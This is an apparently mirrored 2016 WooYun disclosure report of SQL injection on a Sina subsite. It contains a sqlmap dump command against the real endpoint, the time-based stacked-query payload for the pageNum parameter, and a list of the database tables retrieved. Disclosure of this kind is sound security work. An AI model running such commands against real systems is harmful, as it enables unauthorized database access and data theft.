新浪某站点SQL注入

admin 2017年3月29日13:06:05评论331 views字数 194阅读0分38秒阅读模式
摘要

2016-03-23: 细节已通知厂商并且等待厂商处理中
2016-03-23: 厂商已经确认,细节仅向厂商公开
2016-04-02: 细节向核心白帽子及相关领域专家公开
2016-04-12: 细节向普通白帽子公开
2016-04-22: 细节向实习白帽子公开
2016-05-07: 细节向公众公开

漏洞概要 关注数(3) 关注此漏洞

缺陷编号: WooYun-2016-188181

漏洞标题: 新浪某站点SQL注入

相关厂商: 新浪

漏洞作者: 路人甲

提交时间: 2016-03-23 16:37

公开时间: 2016-05-07 17:06

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: SQL注入

1人收藏


漏洞详情

披露状态:

2016-03-23: 细节已通知厂商并且等待厂商处理中
2016-03-23: 厂商已经确认,细节仅向厂商公开
2016-04-02: 细节向核心白帽子及相关领域专家公开
2016-04-12: 细节向普通白帽子公开
2016-04-22: 细节向实习白帽子公开
2016-05-07: 细节向公众公开

简要描述:

我知道你们喜欢给低分,低分是大厂商的标志!!!

详细说明:

code 区域
C:/Python27/sqlmap>sqlmap.py -u "http://space.show.sina.com.cn/ajax/getMessageLi
st.php?space_uid=180271&page=1&pageNum=4&_=1457748068643" --dump -D "showspace"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201512120967}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 15:03:49

[15:03:49] [INFO] resuming back-end DBMS 'mysql'
[15:03:49] [INFO] testing connection to the target URL
[15:03:49] [INFO] heuristics detected web page charset 'ascii'
[15:03:49] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pageNum (GET)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: space_uid=180271&page=1&pageNum=4;(SELECT * FROM (SELECT(SLEEP(5)))
rktu)#&_=1457748068643
---
[15:03:49] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[15:03:49] [INFO] fetching tables for database: 'showspace'
[15:03:49] [INFO] fetching number of tables for database 'showspace'
[15:03:49] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[15:04:01] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[15:04:11] [INFO] adjusting time delay to 2 seconds due to good response times
69
[15:04:17] [INFO] retrieved: t_act_lottery_list
[15:07:34] [INFO] retrieved: t_act_lottery_log
[15:08:25] [INFO] retrieved: t_act_lottery_stat
[15:09:28] [INFO] retrieved: t_admin_log
[15:10:49] [INFO] retrieved: t_blog_comment
[15:12:43] [INFO] retrieved: t_blog_praise
[15:13:46] [INFO] retrieved: t_guessyoulike
[15:15:31] [INFO] retrieved: t_home_hot
[15:16:54] [INFO] retrieved: t_
[15:17:35] [ERROR] invalid character detected. retrying..
[15:17:35] [WARNING] increasing time delay to 3 seconds
interest_reco
[15:20:34] [ERROR] invalid character detected. retrying..
[15:20:34] [WARNING] increasing time delay to 4 seconds
m
[15:20:51] [INFO] retrieved: t_music_album
[15:23:49] [INFO] retrieved: t_music_album_praise
[15:26:36] [INFO] retrieved: t_music_comment
[15:29:09] [INFO] retrieved: t_music_list
[15:30:52] [INFO] retrieved: t_music_praise
[15:32:56] [INFO] retrieved: t_photo_album
[15:36:28] [INFO] retrieved: t_photo_comment
[15:39:00] [INFO] retrieved: t_photo_list
[15:40:44] [INFO] retrieved: t_photo_praise
[15:42:49] [INFO] retrieved: t_photopic_comment

跑了半天,才出来一点表,我就不跑数据了。

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2016-03-23 17:06

厂商回复:

感谢反馈,将通知合作方进行问题修复。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin